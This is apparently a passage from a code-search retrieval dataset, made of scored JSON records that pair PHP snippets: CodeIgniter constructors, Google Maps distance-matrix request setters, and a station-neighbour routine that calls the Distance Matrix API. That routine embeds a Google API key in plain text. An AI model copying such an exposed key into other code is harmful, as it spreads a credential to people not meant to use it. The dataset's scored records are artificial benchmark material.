}, { "docid": "d57b22cbfcbd8b5154ea4a2a34bdedc5", "score": "0.7382552", "text": "public function __construct()\n {\n parent::__construct();\n $this->load->model('toko_model');\n }", "title": "" }, { "docid": "dec334df1e1133c26eba3f0794b0ad16", "score": "0.7380565", "text": "public function __construct() {\n parent::__construct();\n $this->load->model('common_model');\n }", "title": "" }, { "docid": "1c613a77a67636a246a4fd9661c9278f", "score": "0.73794687", "text": "public function __construct()\n\t{\n\t\tparent::__construct();\n\t\t$this->load->model('request_model');\n\t}", "title": "" }, { "docid": "0727ba9a0d104fb691f3e7467ca6e8ba", "score": "0.73784924", "text": "function __construct()\n {\n parent::__construct();\n\t\t$this->load->model('_person');\n\t}", "title": "" }, { "docid": "6ff6581f176d481d2b3b054b837dbdc3", "score": "0.7376722", "text": "function __construct() {\n parent::__construct();\n $this->load->model('Main_model');\n }", "title": "" }, { "docid": "d0f68ad51f9580709421a7d751f8c8e0", "score": "0.7376536", "text": "public function __construct(){\n\t\tparent::__construct();\n\t\t$this->load->model('UserModel', 'UM');\n\t}", "title": "" }, { "docid": "36d73136a0a55bc1a940e0a250b497b8", "score": "0.73751295", "text": "public function __construct() {\n parent::__construct();\n $this->load->model('Paylog_model');\n $this->load->model('Channel_model');\n $this->load->model('Paylist_model');\n }", "title": "" }, { "docid": "5bcc2f4e9a277a9c2b07b936bc843240", "score": "0.7371978", "text": "public function __construct()\n {\n parent::__construct();\n\n $this->load->model('mod_category');\n $this->load->model('mod_product');\n $this->load->model('mod_news');\n $this->load->model('mod_order');\n $this->load->model('mod_member');\n }", "title": "" }, { "docid": "8677427eb8a4d1c528ba4f292bbd6e83", "score": "0.7371702", "text": "public function __construct() {\n parent::__construct();\n $this->load->model('Model_belanja');\n }", "title": "" }, { "docid": "be42ee585758a391269ae9d28ed062ec", "score": "0.7369852", "text": "function __construct()\n {\n parent::__construct();\n $this->load->model('ProductModel');\n }", "title": "" }, { "docid": "db6fe1f5d85795f7da09447f1954e858", "score": "0.73681945", "text": "function __construct() {\n parent::__construct();\n $this->load->model('Paquete_model', 'paquete_m');\n $this->load->model('Categoria_model', 'categoria_m');\n $this->load->model('Operadora_model', 'operadora_m');\n }", "title": "" }, { "docid": "fe2bbe28d2505e549d83072b1c7c4d25", "score": "0.73673075", "text": "function __construct(){\n\t\tparent::__construct();\n\t\t$this->load->model('trainmodel','TM');\n\t}", "title": "" }, { "docid": "b297754c9f463f348dcdfa95063a1023", "score": "0.7356314", "text": "public function __construct()\n\t {\n\t\tparent::__construct();\t\t\n\t\t$this->load->model('car_models_model');\n\t }", "title": "" }, { "docid": "3399206dfabd1b49905d842b20571afc", "score": "0.7348814", "text": "public function __construct()\n\t {\n\t \tparent::__construct();\n\t \t$this->load->model('Transaksi_Model');\n\t }", "title": "" }, { "docid": "07fc428dfb2b5a0042312491e7dd9755", "score": "0.73429084", "text": "public function __construct() {\n parent::__construct();\n $this->load->model(\"usuarios_model\");\n $this->load->model(\"ciudades_model\");\n $this->load->model(\"cargos_model\");\n }", "title": "" }, { "docid": "b7642e522bfd59772b316fed41c4b9ab", "score": "0.7338345", "text": "function __construct() {\r\n parent::__construct();\r\n\r\n $this->load->model('boot_model', '', TRUE);\r\n $this->load->model('permisos_model', '', TRUE);\r\n $this->load->model('permisos_model', '', TRUE);\r\n $this->load->model('usuarios_model', '', TRUE);\r\n $this->load->model('ticket_model', '', TRUE);\r\n }", "title": "" } ]
95483813f804a3007122a7a2ab87a6db
Sets if the the distance matrix request avoids hightways.
[ { "docid": "dec620ad244a50562a74bf558dc1004b", "score": "0.6473911", "text": "public function setAvoidHighways($avoidHighways = null)\n {\n if (!is_bool($avoidHighways) && ($avoidHighways !== null)) {\n throw DistanceMatrixException::invalidDistanceMatrixRequestAvoidHighways();\n }\n\n $this->avoidHighways = $avoidHighways;\n }", "title": "" } ]
[ { "docid": "9ed531af232a1952af48ddb5b24ea9cb", "score": "0.7235633", "text": "public static function invalidDistanceMatrixRequestAvoidHighways()\n {\n return new static('The distance matrix request avoid hightways flag must be a boolean value.');\n }", "title": "" }, { "docid": "ff6c7871b06bc5779a88ad7fa6834f74", "score": "0.6061017", "text": "public function testAvoidHightways()\n {\n self::$directionsRequest->setAvoidHighways(true);\n $this->assertTrue(self::$directionsRequest->hasAvoidHighways());\n $this->assertTrue(self::$directionsRequest->getAvoidHighways());\n\n self::$directionsRequest->setAvoidHighways(null);\n $this->assertFalse(self::$directionsRequest->hasAvoidHighways());\n\n $this->setExpectedException('InvalidArgumentException');\n self::$directionsRequest->setAvoidHighways('foo');\n }", "title": "" }, { "docid": "c98ec52f1a7c1d11cfc8b85854f10c7f", "score": "0.58431435", "text": "public static function invalidDistanceMatrixRequestAvoidTolls()\n {\n return new static('The distance matrix request avoid tolls flag must be a boolean value.');\n }", "title": "" }, { "docid": "f4a017335f6654893dc6719e01a59403", "score": "0.5458089", "text": "public function hasAvoidHighways()\n {\n return $this->avoidHighways !== null;\n }", "title": "" }, { "docid": "0bf32f70d7f340b594e2959462f621cd", "score": "0.5324416", "text": "public function getAvoidHighways()\n {\n return $this->avoidHighways;\n }", "title": "" }, { "docid": "4d9aae34c0469053b33de8cb4ad00405", "score": "0.52244043", "text": "public function setAvoidTolls($avoidTolls = null)\n {\n if (!is_bool($avoidTolls) && ($avoidTolls !== null)) {\n throw DistanceMatrixException::invalidDistanceMatrixRequestAvoidTolls();\n }\n\n $this->avoidTolls = $avoidTolls;\n }", "title": "" }, { "docid": "e76a32bd93a17518756bc8b26ccce65a", "score": "0.50355184", "text": "public static function invalidDistanceMatrixRequestSensor()\n {\n return new static('The distance matrix request sensor flag must be a boolean value.');\n }", "title": "" }, { "docid": "69b3fea02be76e35c01f101038c4005d", "score": "0.4875463", "text": "public static function invalidDistanceMatrixRequest()\n {\n return new static('The directions request is not valid. It needs at least one origin and one destination.');\n }", "title": "" }, { "docid": "45599efbb60c48603d1119a88c50d899", "score": "0.48748648", "text": "public function hasDistance(): bool\n {\n return isset($this->distance);\n }", "title": "" }, { "docid": "1fd00dd1b07e91b64793562fcad80237", "score": "0.48316866", "text": "public function hasDistance() : bool;", "title": "" }, { "docid": "a144815a2ed4b83341ededd533464b4a", "score": "0.48130986", "text": "function setDistance($distance) {\n $this->_x_distance = $distance;\n $this->_y_distance = $distance;\n }", "title": "" }, { "docid": "1458cb9d91c4d1c7b93f14cf5f2ce5bd", "score": "0.48096898", "text": "public function setFalse()\n\t{\n\t\t$this->correctness = \"0\";\n\t}", "title": "" }, { "docid": "07348446d8c82faaebfcecc45e01f66f", "score": "0.4780139", "text": "public function modifyNeighbor(){\n\t\t$query = \"UPDATE neighbor\n\t\t\t\t SET\n\t\t\t\t\tstation_id = {$this->station_id},\n\t\t\t\t\tneighbor_id = {$this->neighbor_id},\n\t\t\t\t\tdistance = {$this->distance}\t\t\t\n\t \t\t\t WHERE id = {$this->id}\";\n\t\t$this->db->query($query);\n\t\treturn true;\n\t }", "title": "" }, { "docid": "6b8cff884797b567922bf6f88fe5d0a9", "score": "0.47397944", "text": "public function optimise_distances() {\n\t\t$this->create_TableauCoordonnees();\n\t\t$this->get_TDCmoyen();\n\t\t$this->get_RatioOuvrieres();\n\t\t$this->get_NombreConvois();\n\t\tif($_POST['methode'] >= 0) {\n\t\t\t$this->parametres['algorithme_optimisation'] = $_POST['methode'];\n\t\t}\n\t\tif($this->parametres['algorithme_optimisation'] == 0) {\n\t\t\t$donnees_0 = $this->methode_Zzzelp(true);\n\t\t\t$donnees_1 = $this->methode_DistancePure(true);\n\t\t\t$donnees_2 = $this->methode_ID(true);\n\t\t\t$donnees_3 = $this->methode_AVI(true);\n\t\t\t$donnees_4 = $this->methode_OuvrieresLibres(true);\n\t\t\t$this->choose_repartition($donnees_0, $donnees_1, $donnees_2, $donnees_3, $donnees_4);\n\t\t}\n\t\telseif($this->parametres['algorithme_optimisation'] == 1) {\n\t\t\t$this->methode_Zzzelp(false);\n\t\t}\n\t\telseif($this->parametres['algorithme_optimisation'] == 2) {\n\t\t\t$this->methode_DistancePure(false);\n\t\t}\n\t\telseif($this->parametres['algorithme_optimisation'] == 3) {\n\t\t\t$this->methode_ID(false);\n\t\t}\n\t\telseif($this->parametres['algorithme_optimisation'] == 4) {\n\t\t\t$this->methode_AVI(false);\n\t\t}\n\t\telseif($this->parametres['algorithme_optimisation'] == 5) {\n\t\t\t$this->methode_OuvrieresLibres(false);\n\t\t}\n\t\telseif($this->parametres['algorithme_optimisation'] == 6) {\n\t\t\t$this->methode_ConvoisPersonnalises(false);\n\t\t}\n\t\t$this->sort_Convoyeurs();\n\t\t$this->compute_Relais();\n\t\t$this->sort_Convoyeurs();\n\t}", "title": "" }, { "docid": "122283807bb4f9cd4d803f7a97549839", "score": "0.47367945", "text": "public function setDistance($value=0) {\n\n\t\t$this->distance = intval($value);\n\t}", "title": "" }, { "docid": "371187d5e05ebcdfd1437c653928f6f6", "score": "0.4718793", "text": "public function testOptimizeWaypoints()\n {\n self::$directionsRequest->setOptimizeWaypoints(true);\n $this->assertTrue(self::$directionsRequest->hasOptimizeWaypoints());\n $this->assertTrue(self::$directionsRequest->getOptimizeWaypoints());\n\n self::$directionsRequest->setOptimizeWaypoints(null);\n $this->assertFalse(self::$directionsRequest->hasOptimizeWaypoints());\n\n $this->setExpectedException('InvalidArgumentException');\n self::$directionsRequest->setOptimizeWaypoints('foo');\n }", "title": "" }, { "docid": "2e503abcd7400ab452afbb8dead79818", "score": "0.46926036", "text": "public function set_distance ($distance) {\n $this->distance = $distance;\n }", "title": "" }, { "docid": "7e5082825f95abd6271c03edaed72927", "score": "0.46475324", "text": "public function hasDistanceData() {\r\n\t\treturn !empty($this->arrayForDistance) && max($this->arrayForDistance) > 0;\r\n\t}", "title": "" }, { "docid": "327f9236ed060f7ac7a0ced57aff2aaa", "score": "0.4578216", "text": "public function testAvoidTolls()\n {\n self::$directionsRequest->setAvoidTolls(true);\n $this->assertTrue(self::$directionsRequest->hasAvoidTolls());\n $this->assertTrue(self::$directionsRequest->getAvoidTolls());\n\n self::$directionsRequest->setAvoidTolls(null);\n $this->assertFalse(self::$directionsRequest->hasAvoidTolls());\n\n $this->setExpectedException('InvalidArgumentException');\n self::$directionsRequest->setAvoidTolls('foo');\n }", "title": "" }, { "docid": "2917ddb7c9e4f4b75f9c01eab73df41a", "score": "0.4521343", "text": "public function modifyNeighbor(){\n\t\t$query = \"UPDATE neighbor\n\t\t\t\t SET\n\t\t\t\t\tstation_id = {$this->station_id},\n\t\t\t\t\tneighbor_id = {$this->neighbor_id},\n\t\t\t\t\tdistance = {$this->distance},\n\t\t\t\t\ttravel_time_average = {$this->travel_time_average},\n\t\t\t\t\tlast_travel_id = {$this->last_travel_id}\t\t\t\n\t \t\t\t WHERE id = {$this->id}\";\n\t\t$this->db->query($query);\n\t\treturn true;\n\t }", "title": "" }, { "docid": "c5ca8e390dc9ab9047c30e55b4343555", "score": "0.45076352", "text": "public function setSensor($sensor)\n {\n if (!is_bool($sensor)) {\n throw DistanceMatrixException::invalidDistanceMatrixRequestSensor();\n }\n\n $this->sensor = $sensor;\n }", "title": "" }, { "docid": "08ca9700829ac025ee17e0ae98d6ee73", "score": "0.4489093", "text": "public function testDefaultValues()\n {\n $this->assertFalse(self::$directionsRequest->hasAvoidHighways());\n $this->assertFalse(self::$directionsRequest->hasAvoidTolls());\n $this->assertFalse(self::$directionsRequest->hasDestination());\n $this->assertFalse(self::$directionsRequest->hasOptimizeWaypoints());\n $this->assertFalse(self::$directionsRequest->hasOrigin());\n $this->assertFalse(self::$directionsRequest->hasProvideRouteAlternatives());\n $this->assertFalse(self::$directionsRequest->hasRegion());\n $this->assertFalse(self::$directionsRequest->hasTravelMode());\n $this->assertFalse(self::$directionsRequest->hasUnitSystem());\n $this->assertFalse(self::$directionsRequest->hasWaypoints());\n }", "title": "" }, { "docid": "b13d0e0d057595751e9b5cafd354155f", "score": "0.44177088", "text": "public static function invalidDistanceMatrixRequestTravelMode()\n {\n $travelModes = array_diff(TravelMode::getTravelModes(), array(TravelMode::TRANSIT));\n\n return new static(sprintf(\n 'The distance matrix request travel mode can only be : %s.',\n implode(', ', $travelModes)\n ));\n }", "title": "" }, { "docid": "94dc4591ff97e15f64f1e2d377d3b4c6", "score": "0.44126317", "text": "public function use_empty_cols($set = false){\r\n $this->empty_cols = (bool) $set;\r\n }", "title": "" }, { "docid": "be102702af12a405e30e608f494db789", "score": "0.44072348", "text": "public function setExcessDistance($value) {\n return $this->set(self::EXCESSDISTANCE, $value);\n }", "title": "" }, { "docid": "5e85a4f840355e72610845e971bd58db", "score": "0.44019783", "text": "public function no_narrow($isOn=false){ $this->_doNarrowSearch = $isOn; }", "title": "" }, { "docid": "226aea5f93a1f0807a6bda6e971ce806", "score": "0.43797958", "text": "public function hasAvoidTolls()\n {\n return $this->avoidTolls !== null;\n }", "title": "" }, { "docid": "9d5690578c6a348a0bbcd4657e609e86", "score": "0.43757617", "text": "public function unsetHalftone(): void\n {\n unset($this->params[self::PARAM_HALFTONE]);\n }", "title": "" }, { "docid": "d32100dac540b59f98a0d59b7ead5083", "score": "0.43689543", "text": "public function optimize()\n {\n return $this->bind() && $this->setRoute();\n }", "title": "" }, { "docid": "e92aadd76c2c6e3e65594c0c630de5af", "score": "0.43059224", "text": "public function setDistance($value) {\n return $this->set(self::DISTANCE, $value);\n }", "title": "" }, { "docid": "e92aadd76c2c6e3e65594c0c630de5af", "score": "0.43059224", "text": "public function setDistance($value) {\n return $this->set(self::DISTANCE, $value);\n }", "title": "" }, { "docid": "e92aadd76c2c6e3e65594c0c630de5af", "score": "0.43059224", "text": "public function setDistance($value) {\n return $this->set(self::DISTANCE, $value);\n }", "title": "" }, { "docid": "f354d564f75b440524851eb91686e434", "score": "0.42855722", "text": "public function testProvideRouteAlternatives()\n {\n self::$directionsRequest->setProvideRouteAlternatives(true);\n $this->assertTrue(self::$directionsRequest->hasProvideRouteAlternatives());\n $this->assertTrue(self::$directionsRequest->getProvideRouteAlternatives());\n\n self::$directionsRequest->setProvideRouteAlternatives(null);\n $this->assertFalse(self::$directionsRequest->hasProvideRouteAlternatives());\n\n $this->setExpectedException('InvalidArgumentException');\n self::$directionsRequest->setProvideRouteAlternatives('foo');\n }", "title": "" }, { "docid": "5574e73e9a3ef6e459b802fa32537289", "score": "0.42707282", "text": "public function setTrue()\n\t{\n\t\t$this->correctness = \"1\";\n\t}", "title": "" }, { "docid": "13ba033d29a12c9e895637d04c16891e", "score": "0.42347267", "text": "private function setDistanceRoadWorks($response){\n $data = json_decode($response);\n $cords = $this->cords;\n\n $road_works = array();\n $roadworks_data = $data->roadworks->features;\n\n foreach($roadworks_data as $issue){\n\n // $issue->images->{'images'}[0]->transforms->transforms[0]->url\n if (count($issue->geometry->coordinates) > 1){\n $distance = $this->calcDistance($issue->geometry->coordinates[1],$issue->geometry->coordinates[0],$cords->latitude, $cords->longitude);\n\n $issue->distance = $distance;\n\n if ($distance < 50)\n $road_works[] = $issue;\n }\n\n }\n\n return $road_works;\n }", "title": "" }, { "docid": "b048b1fac072e3bb708f193259b3be19", "score": "0.42180383", "text": "function setYDistance($distance) {\n $this->_y_distance = $distance;\n }", "title": "" }, { "docid": "3c98d52af2bcf1eb43465fd4e3c04aba", "score": "0.41358373", "text": "protected function setBestWorstFromLikely()\n {\n if ($this->ACLFieldAccess('best_case', 'write') &&\n empty($this->best_case) &&\n (string) $this->best_case !== '0'\n ) {\n $this->best_case = $this->likely_case;\n }\n if ($this->ACLFieldAccess('worst_case', 'write') &&\n empty($this->worst_case) &&\n (string) $this->worst_case !== '0'\n ) {\n $this->worst_case = $this->likely_case;\n }\n }", "title": "" }, { "docid": "f40d799fa48c1f8d420c8d6e073dc2cd", "score": "0.4130064", "text": "public function estUnObstacle() {\n\t\tif (!empty($this->_oDecor) || !empty($this->_oUnite)) {\n\t\t\treturn true;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "8fc012dd9aaba426dfccae394b72c8e7", "score": "0.4091689", "text": "public function setIgnoreForwards($val)\n {\n $this->_ignore_forwards = (boolean) $val;\n }", "title": "" }, { "docid": "58d02f6e37ead80235f7dce340712809", "score": "0.40806124", "text": "public function resetOptimizationFlag()\n {\n $this->databaseConnection->exec_UPDATEquery($this->table, 'tx_imageopt_optimized=1', ['tx_imageopt_optimized' => 0]);\n }", "title": "" }, { "docid": "b39baec719a6d85f664b97b3e9a9c4d5", "score": "0.40615544", "text": "public function getAvoidTolls()\n {\n return $this->avoidTolls;\n }", "title": "" }, { "docid": "7aca0c525249b75bf7f24508a9608149", "score": "0.4061201", "text": "public function hasNeighbourhood()\n {\n return !empty($this->neighbourhood) ? true : false;\n }", "title": "" }, { "docid": "483c6f31f51c74d6e99c5c515996ee4f", "score": "0.40388542", "text": "protected function overrideRoute(): bool\n\t{\n\t\treturn false;\n\t}", "title": "" }, { "docid": "bf11b4fc1ac93e96720bb0ac448e3740", "score": "0.40388334", "text": "public function setEdgeRequireSmartScreen($val)\n {\n $this->_propDict[\"edgeRequireSmartScreen\"] = boolval($val);\n return $this;\n }", "title": "" }, { "docid": "3a00a9b54eac46ff9b9549e37e7f5ca0", "score": "0.40381426", "text": "public function setDirectionsRenderer(DirectionsRenderer $renderer)\n {\n $this->_renderer = $renderer;\n }", "title": "" }, { "docid": "334eb1a7060b1310737ba3e37a23643d", "score": "0.40244418", "text": "public function setHighwayTerminals(){\n\t\t//var_dump( $this->start_station);\n\t\t$query = \"UPDATE highway\n\t\t\t\t SET \n\t\t\t\t\tstart_station = {$this->start_station},\n\t\t\t\t\tend_station = {$this->end_station}\n\t\t\t\t WHERE \n\t\t\t\t\tid = {$this->id}\";\n\t\t\t\t\t\n\t\t$this->db->query($query);\n\t\treturn true;\n\t }", "title": "" }, { "docid": "22f757ace9f86dd89bdab531f08fcf35", "score": "0.40242258", "text": "public function setPreferDist(bool $preferDist): self\n {\n $this->preferDist = $preferDist;\n\n return $this;\n }", "title": "" }, { "docid": "3b27c9507af75cafedf3b734f72f990d", "score": "0.40226868", "text": "static public function useCorrectedElevation() {\r\n\t\tself::$USES_ORIGINAL_ELEVATION = false;\r\n\t}", "title": "" }, { "docid": "528f2bcea22be39940c8a2b34ea097e6", "score": "0.40132526", "text": "private function turnOffBrokenUrls(){\n\t\tif( defined('SEARCH_ENGINE_FRIENDLY_URLS') && SEARCH_ENGINE_FRIENDLY_URLS == 'true' ){\n\t\t\t$sql = \"UPDATE \" . TABLE_CONFIGURATION . \" SET configuration_value = 'false' WHERE configuration_key = 'SEARCH_ENGINE_FRIENDLY_URLS'\";\n\t\t\ttep_db_query($sql);\n\t\t}\n\t}", "title": "" }, { "docid": "1068b134028e926c9787e8de537526e2", "score": "0.4003043", "text": "public function set_closeness($optimize_by) {\r\n $distances = [];\r\n if ($optimize_by === 'seconds') {\r\n $distances = $this->seconds;\r\n } else if ($optimize_by === 'meters') {\r\n $distances = $this->meters;\r\n }\r\n foreach ($distances as $id => $distance) {\r\n if ($distance === '0') {\r\n $this->closeness[$id] = 1;\r\n } else {\r\n $this->closeness[$id] = 1 / $distance;\r\n }\r\n }\r\n }", "title": "" }, { "docid": "6f84a990ee8ff9ab9276107a594e1aee", "score": "0.39955932", "text": "public function findStationNeighbors($station_id,$highway,$highway_id){\n\t\t\n\t\t$this->load->model(\"station_model\");\n\t\t//get all of the highway's stations\n\t\t\t$this->station_model->highway_id = $highway_id;\n\t\t\t$stations = $this->station_model->getStationsbyHighway();\n\t\t\n\t\t //if the new station is not the first one in its highway\n\t\tif($highway){\n\t\t\t//echo 1;\n\t\t\t//load the neighbor model\n\t\t\t$this->load->model(\"neighbor_model\");\t\n\t\t\t//prepare the neighbors array which is an array of the indeces of the neighbors in the stations array\n\t\t\t$neighbors = array();\n\t\t\t//preparing origin and destination distances\n\t\t\t$origin = \"\";\n\t\t\t$destinations = \"\";\n\t\t\t//The order of the station in the stations' array\n\t\t\t$station_order = 0;\n\t\t\t//setting the origin and destinations of google's distance matrix request\n\t\t\t$order = 0;\n\t\t\tforeach($stations as $station){\n\t\t\t\t//echo $station['id'] . \" \".$station_id;\n\t\t\t\t//echo $station['id'].\"::\".$station_id.\"<br/>\";\n\t\t\t\tif($station['id'] == $station_id){\n\t\t\t\t\t$origin = $station['latitude'].\",\".$station['longitude'];\n\t\t\t\t\t$station_order = $order;\n\t\t\t\t\t//echo $order.\"/n\";\n\t\t\t\t}else{\n\t\t\t\t\tif($destinations == \"\")\n\t\t\t\t\t\t$destinations = $station['latitude'].\",\".$station['longitude'];\n\t\t\t\t\telse\n\t\t\t\t\t\t$destinations .= \"|\".$station['latitude'].\",\".$station['longitude'];\n\t\t\t\t\t$order++;\n\t\t\t\t\t//echo $order.\"/n\";\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t//if there is more than one station in the highway\n\t\t\tif($destinations !== \"\"){\n\t\t\t\t//prepare distances arrays\n\t\t\t\t$distances = array();//forward distances (from the new station to the other stations)\n\t\t\t\t$distances_back = array();//backward distances (from the other stations to the new station)\n\t\t\t\t//loading the curl helper\n\t\t\t\t$this->load->helper(\"curl_helper\"); \n\t\t\t\t//forming the url to be sent\n\t\t\t\t//var_dump($origin);\n\t\t\t\t$url = \"https://maps.googleapis.com/maps/api/distancematrix/json?origins={$origin}&destinations={$destinations}&sensor=false&mode=driving&key=AIzaSyCqJs3iw4UIvhFB2VXV3k4Nc79VlyMn_LA\";\n\t\t\t\t//echo $url;\n\t\t\t\t// send the request and get the response body\n\t\t\t\t$body = send_request($url);\n\t\t\t\t//decode the json encoded body\n\t\t\t\t//echo $body;\n\t\t\t\t$decoded = json_decode($body);\n\t\t\t\t//extracting distances from the decoded object and put them in the distances array\n\t\t\t\tforeach($decoded->rows[0]->elements as $element){\n\t\t\t\t\t$distances[] = $element->distance->value;\n\t\t\t\t}\n\t\t\t\t//var_dump($distances);\n\t\t\t\t//finding the nearest station's index in forward direction\n\t\t\t\t$nearest = array_keys($distances, min($distances));\n\t\t\t\t//take the first index\n\t\t\t\t$nearest = $nearest[0];\n\t\t\t\t//echo $nearest;\n\t\t\t\t\n\t\t\t\t//getting the backward(from all the other stations to the new station) distances\n\t\t\t\t$url = \"https://maps.googleapis.com/maps/api/distancematrix/json?origins={$destinations}&destinations={$origin}&sensor=false&mode=driving&key=AIzaSyCqJs3iw4UIvhFB2VXV3k4Nc79VlyMn_LA\";\n\t\t\t\t//// send the request and get the response body\n\t\t\t\t$body = send_request($url);\n\t\t\t\t//echo $body;\n\t\t\t\t//decode the json encoded body\n\t\t\t\t$decoded = json_decode($body);\n\t\t\t\t//extracting distances from the decoded object and put them in the distances array\n\t\t\t\tforeach($decoded->rows as $row){\n\t\t\t\t\t$distances_back[] = $row->elements[0]->distance->value;\n\t\t\t\t}\n\t\t\t\t//var_dump($distances_back);\n\t\t\t\t//finding the nearest station's index in backward direction\n\t\t\t\t$nearest_back = array_keys($distances_back, min($distances_back));\n\t\t\t\t$nearest_back = $nearest_back[0];\n\t\t\t\t//echo $nearest_back;\n\t\t\t\t//if this is the second station to be added to the highway\n\t\t\t\tif(count($stations) == 2){\n\t\t\t\t\t//add each of the stations as a neighbor to the other one\n\t\t\t\t\t$this->neighbor_model->station_id = $stations[0]['id'];//the old station\n\t\t\t\t\t$this->neighbor_model->neighbor_id = $stations[1]['id'];//the new station\n\t\t\t\t\t$this->neighbor_model->distance = $this->getDistance($distances,$distances_back,0);\n\t\t\t\t\t\n\t\t\t\t\t$this->neighbor_model->addNeighbor();\n\t\t\t\t\t\n\t\t\t\t\t$this->neighbor_model->station_id = $stations[1]['id'];//the new station\n\t\t\t\t\t$this->neighbor_model->neighbor_id = $stations[0]['id'];//the old station\n\t\t\t\t\t$this->neighbor_model->distance = $this->getDistance($distances,$distances_back,0);\n\t\t\t\t\t\n\t\t\t\t\t$this->neighbor_model->addNeighbor();\n\t\t\t\t}else if(count($stations) > 2){\n\t\t\t\t\t//find out the nearest neighbor\n\t\t\t\t\tif($distances[$nearest] <= $distances_back[$nearest_back]){\n\t\t\t\t\t\t//if the distance from the nearest in the foreward direction is lesser than the distance from the nearest neighbor in the back direction\n\t\t\t\t\t\t//we consider the nearest station as a neighbor\n\t\t\t\t\t\t$neighbors[] = $nearest; \n\t\t\t\t\t\t//get the neighbors of the nearest station\n\t\t\t\t\t\t$this->neighbor_model->station_id = $stations[$nearest]['id'];\n\t\t\t\t\t}else{//if the back neighbor is nearer than the foreward neighbor\n\t\t\t\t\t\t//we consider the nearest station as a neighbor\n\t\t\t\t\t\t$neighbors[] = $nearest_back; \n\t\t\t\t\t\t//get the neighbors of the nearest station\n\t\t\t\t\t\t$this->neighbor_model->station_id = $stations[$nearest_back]['id'];\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$n_neighbors = $this->neighbor_model->getNeighborsByStationId();\n\t\t\t\t\t//get the other neighbor of the new station\n\t\t\t\t\tforeach($n_neighbors as $n_neighbor){\n\t\t\t\t\t\t//get the distance between this neighbor and the original station(the newly deployed)\n\t\t\t\t\t\t$distance = PHP_INT_MAX;\n\t\t\t\t\t\t//the index of the neighbor in the stations array\n\t\t\t\t\t\t$n_index = -1;\n\t\t\t\t\t\tfor($i=0;$i<count($distances);$i++){\n\t\t\t\t\t\t\tif($stations[$i]['id'] == $n_neighbor['neighbor_id']){\n\t\t\t\t\t\t\t\t$distance = $this->getDistance($distances,$distances_back,$i);\n\t\t\t\t\t\t\t\t$n_index = $i;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t//if the nearst's neighbor's distance from the new station is less than its distance \n\t\t\t\t\t\t//from the nearest delete this station from the nearest's neighbors and add it as a \n\t\t\t\t\t\t//neighbor to the new station\n\t\t\t\t\t\tif($distance < $n_neighbor['distance']){\n\t\t\t\t\t\t\t// add the neighbor to the station's neighbors\n\t\t\t\t\t\t\t$neighbors[] = $n_index;\n\t\t\t\t\t\t\t//delete the neighborhood relationships between the nearest and its neighbor\n\t\t\t\t\t\t\t$this->neighbor_model->id = $n_neighbor['id'];\n\t\t\t\t\t\t\t$this->neighbor_model->deleteNeighbor();\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$this->neighbor_model->station_id = $n_neighbor['neighbor_id'];\n\t\t\t\t\t\t\t$this->neighbor_model->neighbor_id = $n_neighbor['station_id'];\n\t\t\t\t\t\t\t$this->neighbor_model->deleteNeighborByStationAndNeighbor();\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tbreak;//this break is put on the basis of that there are maximum two neighbors to a single station\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t//adding the neighbors relationships for the new station\n\t\t\t\t\tforeach($neighbors as $neighbor){\n\t\t\t\t\t\t//echo \"neighbors: <br /> neighbor[\".$neighbor.\"] = \".$stations[$neighbor]['id'];\n\t\t\t\t\t\t//add each of the stations as a neighbor to the other one\n\t\t\t\t\t\t$this->neighbor_model->station_id = $stations[$neighbor]['id'];//the old station\n\t\t\t\t\t\t$this->neighbor_model->neighbor_id = $station_id;//the new station\n\t\t\t\t\t\t$this->neighbor_model->distance = $this->getDistance($distances,$distances_back,$neighbor);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t$this->neighbor_model->addNeighbor();\n\t\t\t\t\t\t\n\t\t\t\t\t\t$this->neighbor_model->station_id = $station_id;//the new station\n\t\t\t\t\t\t$this->neighbor_model->neighbor_id = $stations[$neighbor]['id'];//the old station\n\t\t\t\t\t\t$this->neighbor_model->distance = $this->getDistance($distances,$distances_back,$neighbor);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t$this->neighbor_model->addNeighbor();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\t\n\t }", "title": "" }, { "docid": "7180de784e157a5c9dfd45f6a887e89e", "score": "0.3975718", "text": "public function isOptedOut() {\n return $this->optOut;\n }", "title": "" }, { "docid": "ead64a725669c754c008e8ba3f049b98", "score": "0.3974672", "text": "public static function needs_hypergate()\n {\n return true;\n }", "title": "" }, { "docid": "c9239b3d2f134de2f2f8bcae3ed33287", "score": "0.39684582", "text": "public static function needs_hypergate()\r\n {\r\n return true;\r\n }", "title": "" }, { "docid": "0f6f411a2f151dfe5ec2b596703f6b31", "score": "0.39641646", "text": "public static function invalidDistanceMatrixRequestDestination()\n {\n return new static(sprintf(\n '%s'.PHP_EOL.'%s'.PHP_EOL.'%s'.PHP_EOL.'%s'.PHP_EOL.'%s',\n 'The destination adder arguments are invalid.',\n 'The available prototypes are :',\n ' - function addDestination(string $destination)',\n ' - function addDestination(Fungio\\GoogleMap\\Base\\Coordinate $destination)',\n ' - function addDestination(double $latitude, double $longitude, boolean $noWrap)'\n ));\n }", "title": "" }, { "docid": "f6a4c89b3e1ddbc80a4bfb0479235889", "score": "0.39635253", "text": "public function avoidRedirect() {\n $this->complexRequest = 0;\n }", "title": "" }, { "docid": "69b24a7189877e778f1ac9bbadca700e", "score": "0.3957832", "text": "public function setExcluded($excluded = true) {\n\t\t$this->_excluded\t= $excluded;\n\t}", "title": "" }, { "docid": "81714c5f37364e0ac6cc979fc8a6df71", "score": "0.39498508", "text": "private function upgradeHwkExclude($setup)\n {\n $setup->getConnection()->addColumn(\n $setup->getTable('cms_page'),\n 'hawk_exclude',\n [\n 'type' => \\Magento\\Framework\\DB\\Ddl\\Table::TYPE_SMALLINT,\n 'nullable' => false,\n 'default' => 0,\n 'comment' => 'Exclude from HawkSearch'\n ]\n );\n return $this;\n }", "title": "" }, { "docid": 